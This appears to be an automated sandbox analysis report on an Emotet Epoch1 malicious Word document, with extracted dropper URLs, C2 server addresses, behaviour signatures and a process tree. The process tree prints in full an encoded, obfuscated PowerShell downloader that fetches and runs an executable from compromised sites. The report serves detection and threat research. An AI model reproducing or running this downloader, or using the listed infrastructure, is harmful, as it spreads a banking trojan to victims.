Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    106s
  • max time network
    114s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    29/10/2020, 16:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_46d9e560db1a1d687d58d92ded82cd4ddc77a154a7c66bcc99d628f7386c97ae_2020-10-29__154208892144._doc.doc
  • Size 287KB
  • Sample201029-hd1f19azz2
  • SHA256 46d9e560db1a1d687d58d92ded82cd4ddc77a154a7c66bcc99d628f7386c97ae
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch1bankertrojan

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://tinytowntees.com/wp-content/TV/
  • exe.dropper

    http://0377hhd.com/cgi-bin/ru/
  • exe.dropper

    http://www.easytigershop.com/wp-includes/css/GxWFH/M/
  • exe.dropper

    https://paisocial.org/wp-includes/X9D/
  • exe.dropper

    https://primecigarettes.com/wp-content/7/
  • exe.dropper

    https://evexiahk.com/wp-content/u2x/
  • exe.dropper

    https://bathroomnerds.com/wp-content/e/

Extracted

Family

  • emotet

Botnet

  • Epoch1

C2

  • 190.202.229.74:80

  • 118.69.11.81:7080

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 94.23.62.116:8080

  • 37.187.161.206:8080

  • 45.46.37.97:80

  • 138.97.60.141:7080

  • 177.144.130.105:8080

  • 169.1.39.242:80

  • 209.236.123.42:8080

  • 202.134.4.210:7080

  • 193.251.77.110:80

  • 2.45.176.233:80

  • 217.13.106.14:8080

  • 189.223.16.99:80

  • 190.101.156.139:80

  • 77.238.212.227:80

  • 181.58.181.9:80

  • 37.183.81.217:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_46d9e560db1a1d687d58d92ded82cd4ddc77a154a7c66bcc99d628f7386c97ae_2020-10-29__154208892144._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1708
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD IAAkAG8AdwB1AGcAIAAgAD0AIAAgAFsAVABZAFAARQBdACgAIgB7ADIAfQB7ADEAfQB7ADMAfQB7ADQAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcALgBkAEkAUgBFAEMAJwAsACcAUwBZAHMAVABlAG0ALgBpAE8AJwAsACcAVAAnACwAJwBvAFIAJwApACAAOwAgACAAcwBFAHQAIABQAGEAWQAgACAAKABbAFQAeQBQAEUAXQAoACIAewA3AH0AewA1AH0AewAwAH0AewAyAH0AewAzAH0AewA2AH0AewAxAH0AewA0AH0AewA4AH0AIgAgAC0ARgAnAEUATQAnACwAJwBOACcALAAnAC4ATgBlAHQALgBzACcALAAnAGUAUgB2AEkAQwBFACcALAAnAGEAZwBlACcALAAnAFQAJwAsACcAUABvAGkATgBUAE0AQQAnACwAJwBzAHkAcwAnACwAJwBSACcAKQApADsAIAAgACQATwBsADQAdwBkAGIAbwA9ACgAJwBNACcAKwAoACcAYgBoAHQAbAAnACsAJwB3ACcAKQArACcAegAnACkAOwAkAE0AOABfADMAYQAwADAAPQAkAEkAYgBsAHYAMgA0AHYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEEAegB2ADUAcAA3AGQAOwAkAFoAegBoAHoAZwBtADUAPQAoACgAJwBNAHAAJwArACcANgA2ACcAKQArACgAJwBxADQAJwArACcAdwAnACkAKQA7ACAAKAAgACAAZwBlAFQALQBWAEEAcgBpAEEAQgBMAGUAIAAoACcATwBXAFUAJwArACcAZwAnACkAIAApAC4AdgBhAEwAdQBlADoAOgAiAGMAcgBlAGEAYABUAGUARABJAHIARQBDAHQATwBgAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAaAAnACsAJwByADkAJwApACsAJwBMACcAKwAnADgAMQAnACsAKAAnAG0AOAAnACsAJwB5AGwAaAAnACkAKwAoACcAcgAnACsAJwA5AFIAJwApACsAKAAnAG8AcgA5AHUAJwArACcAcQA5AGgAJwArACcAcgAnACkAKwAnADkAJwApACAALQBDAHIAZQBwAEwAQQBDAGUAIAAgACgAJwBoACcAKwAnAHIAOQAnACkALABbAGMASABhAFIAXQA5ADIAKQApADsAJABSAGYAdwBzAGUAbQB1AD0AKAAnAFMAJwArACcANwB2ACcAKwAoACcAcAByACcAKwAnAHYAOAAnACkAKQA7ACAAKAAgACAAZwBJACAAVgBBAFIASQBhAEIAbABFADoAUABBAHkAKQAuAFYAQQBMAFUARQA6ADoAIgBTAEUAYwBgAFUAYABSAEkAdAB5AHAAcgBvAHQAbwBDAGAAbwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAJwArACcAMQAyACcAKQApADsAJABZAGYAdAB3AHAAXwBlAD0AKAAnAEYAOAAnACsAKAAnAGQAJwArACcAbAA5ACcAKQArACcAMQByACcAKQA7ACQASABrADAAMgByAHEAZQAgAD0AIAAoACcAQgAnACsAJwByACcAKwAoACcAZgBqAGsAJwArACcAdwAnACkAKQA7ACQAUQBlAHAAMABsADMAcAA9ACgAJwBYAHQAJwArACgAJwBqADgAawAnACsAJwBqACcAKQArACcAXwAnACkAOwAkAFIAYQB3AGsAaABqAGoAPQAoACcAQQAnACsAKAAnAG8AbQAnACsAJwBtACcAKQArACgAJwBfAHAAJwArACcAeAAnACkAKQA7ACQARQBrADEAMQBwAGsAbgA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAOAAxAG0AOAB5AGwAewAwAH0AUgBvACcAKwAnAHIAJwArACgAJwA5AHUAcQAnACsAJwA5ACcAKQArACcAewAnACsAJwAwAH0AJwApACAAIAAtAGYAIAAgAFsAYwBoAGEAUgBdADkAMgApACsAJABIAGsAMAAyAHIAcQBlACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQASQBpADcAcwBfAGEANQA9ACgAKAAnAFUAXwAnACsAJwBnACcAKQArACgAJwA0AHoAJwArACcANQAnACkAKwAnAGgAJwApADsAJABQADIAcwA3AHgAdwBuAD0ALgAoACcAbgAnACsAJwBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAFcAZQBCAGMAbABpAEUATgB0ADsAJABGAGIAZAAyAGgAdABoAD0AKAAoACgAJwBoAHQAJwArACcAdABwADoAJwArACcAXQAnACkAKwAoACgAJwBbACAAMQAnACsAJwApACAAagBqACcAKwAnAGsAJwApACkAKwAoACcAZwBTACAAWwBdACcAKwAnACAAWwBdACcAKwAnAHcAXQAnACkAKwAoACgAJwBbACAAMQApACcAKwAnACAAJwArACcAagBqAGsAZwAnACkAKQArACgAJwBTACAAWwAnACsAJwBdACAAJwArACcAWwAnACsAJwBdAHcAdABpAG4AJwApACsAJwB5AHQAJwArACgAJwBvAHcAbgB0ACcAKwAnAGUAZQAnACkAKwAnAHMAJwArACcALgAnACsAKAAnAGMAJwArACcAbwBtACcAKQArACcAXQAnACsAJwBbACAAJwArACcAMQAnACsAKAAoACcAKQAgACcAKwAnAGoAJwApACkAKwAoACcAagAnACsAJwBrAGcAUwAgACcAKQArACgAJwBbACcAKwAnAF0AIABbAF0AdwAnACsAJwB3AHAALQBjACcAKwAnAG8AbgB0ACcAKwAnAGUAJwApACsAJwBuAHQAJwArACgAKAAnAF0AJwArACcAWwAgACcAKwAnADEAKQAgACcAKQApACsAKAAnAGoAagAnACsAJwBrAGcAUwAgAFsAXQAgAFsAXQAnACsAJwB3AFQAJwApACsAKAAnAFYAJwArACcAXQBbACAAJwApACsAKAAoACcAMQAnACsAJwApACAAagBqAGsAJwApACkAKwAoACcAZwAnACsAJwBTACAAWwAnACkAKwAoACcAXQAgAFsAXQB3AEAAJwArACcAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAoACcAOgAnACsAJwBdAFsAIAAxACkAIAAnACsAJwBqAGoAawAnACkAKQArACgAKAAnAGcAJwArACcAUwAnACsAJwAgAFsAXQAgAFsAXQAnACsAJwB3AF0AWwAgACcAKwAnADEAKQAgACcAKwAnAGoAagBrAGcAJwArACcAUwAgAFsAXQAnACkAKQArACgAJwAgACcAKwAnAFsAXQB3ADAAMwA3ADcAJwApACsAJwBoACcAKwAoACgAJwBoAGQAJwArACcALgBjAG8AbQAnACsAJwBdAFsAIAAxACkAIAAnACsAJwBqAGoAawBnACcAKwAnAFMAJwArACcAIABbACcAKwAnAF0AIAAnACkAKQArACgAJwBbACcAKwAnAF0AdwBjACcAKwAnAGcAaQAtACcAKQArACcAYgAnACsAJwBpACcAKwAoACcAbgAnACsAJwBdAFsAJwApACsAJwAgACcAKwAoACgAJwAxACkAJwApACkAKwAnACAAagAnACsAJwBqAGsAJwArACgAJwBnACcAKwAnAFMAIAAnACsAJwBbAF0AIABbAF0AdwAnACkAKwAnAHIAJwArACgAKAAnAHUAXQBbACcAKwAnACAAMQApACAAagBqACcAKwAnAGsAJwApACkAKwAoACcAZwAnACsAJwBTACAAWwBdACcAKQArACgAJwAgACcAKwAnAFsAXQB3AEAAaAAnACkAKwAoACgAJwB0ACcAKwAnAHQAcAA6AF0AWwAgADEAKQAnACkAKQArACgAJwAgAGoAagAnACsAJwBrAGcAJwApACsAKAAnAFMAIABbACcAKwAnAF0AJwApACsAKAAnACAAWwAnACsAJwBdAHcAXQBbACAAJwApACsAJwAxACcAKwAnACkAJwArACgAJwAgACcAKwAnAGoAagBrAGcAUwAnACkAKwAnACAAWwAnACsAKAAnAF0AIABbACcAKwAnAF0AdwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AJwArACcAZQBhACcAKQArACgAKAAnAHMAeQB0ACcAKwAnAGkAZwAnACsAJwBlAHIAcwBoAG8AcAAuAGMAbwBtAF0AWwAnACsAJwAgADEAKQAnACkAKQArACgAJwAgAGoAJwArACcAagAnACkAKwAoACcAawAnACsAJwBnACcAKwAnAFMAIABbAF0AIABbAF0AJwApACsAKAAnAHcAdwBwACcAKwAnAC0AaQAnACkAKwAnAG4AJwArACcAYwAnACsAKAAnAGwAdQBkACcAKwAnAGUAcwBdACcAKQArACcAWwAnACsAKAAoACcAIAAxACkAJwArACcAIAAnACkAKQArACgAJwBqAGoAJwArACcAawBnAFMAIAAnACsAJwBbACcAKQArACcAXQAnACsAKAAnACAAWwAnACsAJwBdAHcAJwApACsAJwBjACcAKwAnAHMAJwArACgAKAAnAHMAJwArACcAXQAnACsAJwBbACAAMQApACAAagBqACcAKwAnAGsAJwApACkAKwAoACcAZwBTACAAWwBdACAAJwArACcAWwAnACkAKwAoACcAXQB3ACcAKwAnAEcAJwApACsAKAAnAHgAVwAnACsAJwBGACcAKwAnAEgAXQBbACAAJwApACsAKAAoACcAMQApACcAKQApACsAKAAnACAAagAnACsAJwBqACcAKQArACgAJwBrAGcAUwAnACsAJwAgAFsAJwApACsAJwBdACcAKwAnACAAJwArACgAJwBbACcAKwAnAF0AdwBNAF0AJwApACsAKAAoACcAWwAgADEAKQAgACcAKwAnAGoAJwApACkAKwAnAGoAJwArACgAJwBrAGcAUwAnACsAJwAgAFsAXQAgAFsAJwArACcAXQB3AEAAaAB0AHQAJwApACsAJwBwAHMAJwArACgAKAAnADoAJwArACcAXQBbACcAKwAnACAAMQApACcAKQApACsAJwAgAGoAJwArACcAagAnACsAKAAnAGsAJwArACcAZwBTACcAKwAnACAAWwBdACAAWwAnACsAJwBdAHcAXQAnACkAKwAoACgAJwBbACcAKwAnACAAMQApACAAagBqAGsAJwArACcAZwAnACkAKQArACgAJwBTACAAJwArACcAWwAnACkAKwAoACcAXQAgACcAKwAnAFsAXQB3ACcAKQArACgAJwBwAGEAJwArACcAaQAnACkAKwAoACcAcwAnACsAJwBvAGMAJwApACsAJwBpAGEAJwArACgAJwBsACcAKwAnAC4AbwAnACkAKwAoACcAcgBnACcAKwAnAF0AWwAgACcAKQArACgAKAAnADEAKQAnACkAKQArACgAJwAgAGoAJwArACcAagBrAGcAJwApACsAJwBTACcAKwAnACAAJwArACgAJwBbAF0AJwArACcAIABbACcAKQArACcAXQB3ACcAKwAnAHcAcAAnACsAJwAtACcAKwAnAGkAbgAnACsAJwBjACcAKwAoACcAbAAnACsAJwB1AGQAJwArACcAZQBzAF0AWwAnACkAKwAnACAAJwArACgAKAAnADEAKQAnACsAJwAgAGoAagBrAGcAJwArACcAUwAnACkAKQArACgAJwAgAFsAXQAnACsAJwAgAFsAJwApACsAJwBdACcAKwAoACcAdwBYADkAJwArACcARAAnACsAJwBdAFsAJwApACsAKAAoACcAIAAxACkAIABqAGoAJwArACcAawBnACcAKwAnAFMAIAAnACkAKQArACgAJwBbAF0AIAAnACsAJwBbAF0AJwArACcAdwBAAGgAJwApACsAKAAoACcAdAB0AHAAcwAnACsAJwA6ACcAKwAnAF0AWwAgADEAKQAnACkAKQArACgAJwAgACcAKwAnAGoAagBrACcAKQArACgAJwBnACcAKwAnAFMAIABbAF0AJwApACsAJwAgAFsAJwArACcAXQB3ACcAKwAoACgAJwBdAFsAIAAxACkAIAAnACsAJwBqAGoAJwArACcAawBnAFMAIABbACcAKwAnAF0AJwArACcAIAAnACkAKQArACgAJwBbAF0AJwArACcAdwBwAHIAJwArACcAaQBtAGUAJwApACsAKAAnAGMAaQBnACcAKwAnAGEAJwApACsAKAAnAHIAZQAnACsAJwB0ACcAKQArACgAJwB0AGUAcwAuAGMAbwBtAF0AJwArACcAWwAgACcAKwAnADEAJwApACsAKAAoACcAKQAgAGoAJwArACcAagAnACkAKQArACgAJwBrAGcAJwArACcAUwAgACcAKQArACgAJwBbAF0AJwArACcAIABbACcAKQArACgAJwBdAHcAdwBwAC0AYwAnACsAJwBvAG4AJwArACcAdAAnACkAKwAoACcAZQBuACcAKwAnAHQAXQBbACAAJwApACsAKAAoACcAMQApACcAKQApACsAKAAnACAAJwArACcAagBqAGsAJwApACsAKAAnAGcAJwArACcAUwAgACcAKQArACgAJwBbAF0AJwArACcAIAAnACkAKwAnAFsAJwArACcAXQB3ACcAKwAoACcANwAnACsAJwBdAFsAIAAxACcAKQArACgAKAAnACkAIABqACcAKwAnAGoAawAnACkAKQArACcAZwAnACsAKAAnAFMAIAAnACsAJwBbACcAKwAnAF0AIABbACcAKQArACgAJwBdAHcAQABoACcAKwAnAHQAJwArACcAdABwACcAKQArACcAcwA6ACcAKwAoACcAXQAnACsAJwBbACAAJwApACsAJwAxACcAKwAoACgAJwApACAAJwApACkAKwAoACgAJwBqAGoAawAnACsAJwBnAFMAIABbAF0AJwArACcAIABbAF0AdwBdAFsAJwArACcAIAAxACkAJwApACkAKwAoACcAIABqACcAKwAnAGoAJwApACsAKAAnAGsAZwAnACsAJwBTACAAJwApACsAKAAnAFsAXQAnACsAJwAgAFsAXQAnACkAKwAoACcAdwBlAHYAZQAnACsAJwB4AGkAYQBoACcAKwAnAGsAJwApACsAKAAnAC4AYwBvACcAKwAnAG0AJwApACsAJwBdACcAKwAoACgAJwBbACAAJwArACcAMQApACcAKwAnACAAagBqAGsAJwArACcAZwBTACcAKwAnACAAWwBdACcAKQApACsAKAAnACAAJwArACcAWwBdACcAKwAnAHcAdwBwAC0AYwAnACkAKwAoACcAbwBuACcAKwAnAHQAZQBuACcAKwAnAHQAXQAnACkAKwAoACgAJwBbACAAJwArACcAMQApACAAagBqAGsAZwAnACsAJwBTACAAJwArACcAWwAnACkAKQArACgAJwBdACAAJwArACcAWwBdACcAKQArACcAdwAnACsAKAAnAHUAMgAnACsAJwB4ACcAKwAnAF0AWwAgADEAJwApACsAKAAoACcAKQAgAGoAagBrACcAKwAnAGcAUwAnACsAJwAgACcAKQApACsAKAAnAFsAJwArACcAXQAgACcAKQArACgAJwBbAF0AJwArACcAdwBAAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKwAnAHMAOgBdACcAKQArACcAWwAnACsAKAAoACcAIAAnACsAJwAxACkAIAAnACkAKQArACgAJwBqACcAKwAnAGoAawAnACsAJwBnAFMAIABbAF0AJwApACsAKAAnACAAJwArACcAWwBdAHcAJwApACsAKAAoACcAXQAnACsAJwBbACAAJwArACcAMQApACAAagBqAGsAZwAnACkAKQArACgAJwBTACcAKwAnACAAWwAnACkAKwAnAF0AJwArACcAIABbACcAKwAnAF0AdwAnACsAKAAnAGIAJwArACcAYQB0ACcAKQArACcAaAAnACsAJwByACcAKwAoACcAbwBvACcAKwAnAG0AbgAnACkAKwAoACcAZQAnACsAJwByAGQAJwApACsAJwBzAC4AJwArACgAJwBjACcAKwAnAG8AbQBdAFsAIAAnACsAJwAxACcAKQArACgAKAAnACkAIABqAGoAawBnAFMAIABbAF0AJwArACcAIAAnACsAJwBbACcAKQApACsAKAAnAF0AdwAnACsAJwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKwAnAG4AdABlAG4AdABdACcAKQArACcAWwAgACcAKwAnADEAJwArACgAKAAnACkAIABqACcAKwAnAGoAawAnACsAJwBnAFMAIABbACcAKQApACsAKAAoACcAXQAnACsAJwAgAFsAJwArACcAXQB3AGUAXQBbACAAJwArACcAMQApACcAKQApACsAKAAnACAAagBqAGsAJwArACcAZwBTACAAWwBdACAAWwAnACsAJwBdACcAKwAnAHcAJwApACkAKQAuACIAUgBlAFAATABgAEEAYwBFACIAKAAoACgAKAAoACcAXQBbACAAJwArACcAMQApACcAKQApACsAJwAgAGoAJwArACgAJwBqACcAKwAnAGsAZwBTACAAJwArACcAWwBdACAAWwBdACcAKQArACcAdwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAeAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAUwBQAGAATABJAHQAIgAoACQAQwA0AHEAaQB5AGwAMQAgACsAIAAkAE0AOABfADMAYQAwADAAIAArACAAJABXAHUAMAA5AHEAZAA5ACkAOwAkAFgAMAB2AGIAbgBzAHoAPQAoACgAJwBGAHAAJwArACcAcwAnACkAKwAoACcAaQBkACcAKwAnAHEAZwAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVAB6ADMAbgAwAHoAawAgAGkAbgAgACQARgBiAGQAMgBoAHQAaAApAHsAdAByAHkAewAkAFAAMgBzADcAeAB3AG4ALgAiAGQATwBgAFcAYABOAGwAbwBBAGQAZgBgAGkATABlACIAKAAkAFQAegAzAG4AMAB6AGsALAAgACQARQBrADEAMQBwAGsAbgApADsAJABFAG4AagBnAF8AbwB4AD0AKAAoACcATgAnACsAJwBzAHcAcQAnACkAKwAoACcAYwA3ACcAKwAnADMAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQARQBrADEAMQBwAGsAbgApAC4AIgBsAGAARQBuAGcAVABIACIAIAAtAGcAZQAgADQAMwA5ADIAOAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACcAaQAnACsAKAAnAG4AMwAnACsAJwAyACcAKwAnAF8AUAByACcAKQArACgAJwBvAGMAZQBzACcAKwAnAHMAJwApACkAKQAuACIAYwBgAFIAYABlAGEAVABlACIAKAAkAEUAawAxADEAcABrAG4AKQA7ACQAUgA4ADEAagBmAHcAdgA9ACgAJwBVAGEAJwArACgAJwBqACcAKwAnADUAcwAnACkAKwAnAGsAcAAnACkAOwBiAHIAZQBhAGsAOwAkAFUAMgBjADYAMgBzAHIAPQAoACcATwAnACsAJwB0ADcAJwArACgAJwA3ACcAKwAnAGkAdwBsACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABVAGcAcAB1AHEAOQBhAD0AKAAnAFIAYwAnACsAJwBnACcAKwAoACcAbgBuACcAKwAnAGgAYgAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1160
    • C:\Users\Admin\L81m8yl\Ror9uq9\Brfjkw.exe
      C:\Users\Admin\L81m8yl\Ror9uq9\Brfjkw.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:336
      • C:\Windows\SysWOW64\XPSSHHDR\tzutil.exe
        "C:\Windows\SysWOW64\XPSSHHDR\tzutil.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1164

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/336-14-0x00000000004E0000-0x000000000053A000-memory.dmp
          Download

          memory/336-13-0x0000000000480000-0x00000000004DB000-memory.dmp
          Download

          memory/888-20-0x000007FEF6740000-0x000007FEF69BA000-memory.dmp
          Download

          memory/1128-1-0x00000000062D0000-0x00000000062D4000-memory.dmp
          Download

          memory/1128-2-0x0000000000673000-0x0000000000677000-memory.dmp
          Download

          memory/1128-3-0x0000000000673000-0x0000000000677000-memory.dmp
          Download

          memory/1128-0-0x0000000000673000-0x0000000000677000-memory.dmp
          Download

          memory/1160-5-0x0000000002360000-0x0000000002361000-memory.dmp
          Download

          memory/1160-10-0x000000001B8A0000-0x000000001B8A1000-memory.dmp
          Download

          memory/1160-9-0x000000001C3C0000-0x000000001C3C1000-memory.dmp
          Download

          memory/1160-8-0x0000000002570000-0x0000000002571000-memory.dmp
          Download

          memory/1160-7-0x00000000024C0000-0x00000000024C1000-memory.dmp
          Download

          memory/1160-6-0x000000001AAA0000-0x000000001AAA1000-memory.dmp
          Download

          memory/1160-4-0x000007FEF5930000-0x000007FEF631C000-memory.dmp
          Download

          memory/1164-18-0x00000000003A0000-0x00000000003FB000-memory.dmp
          Download

          memory/1164-19-0x0000000001EB0000-0x0000000001F0A000-memory.dmp
          Download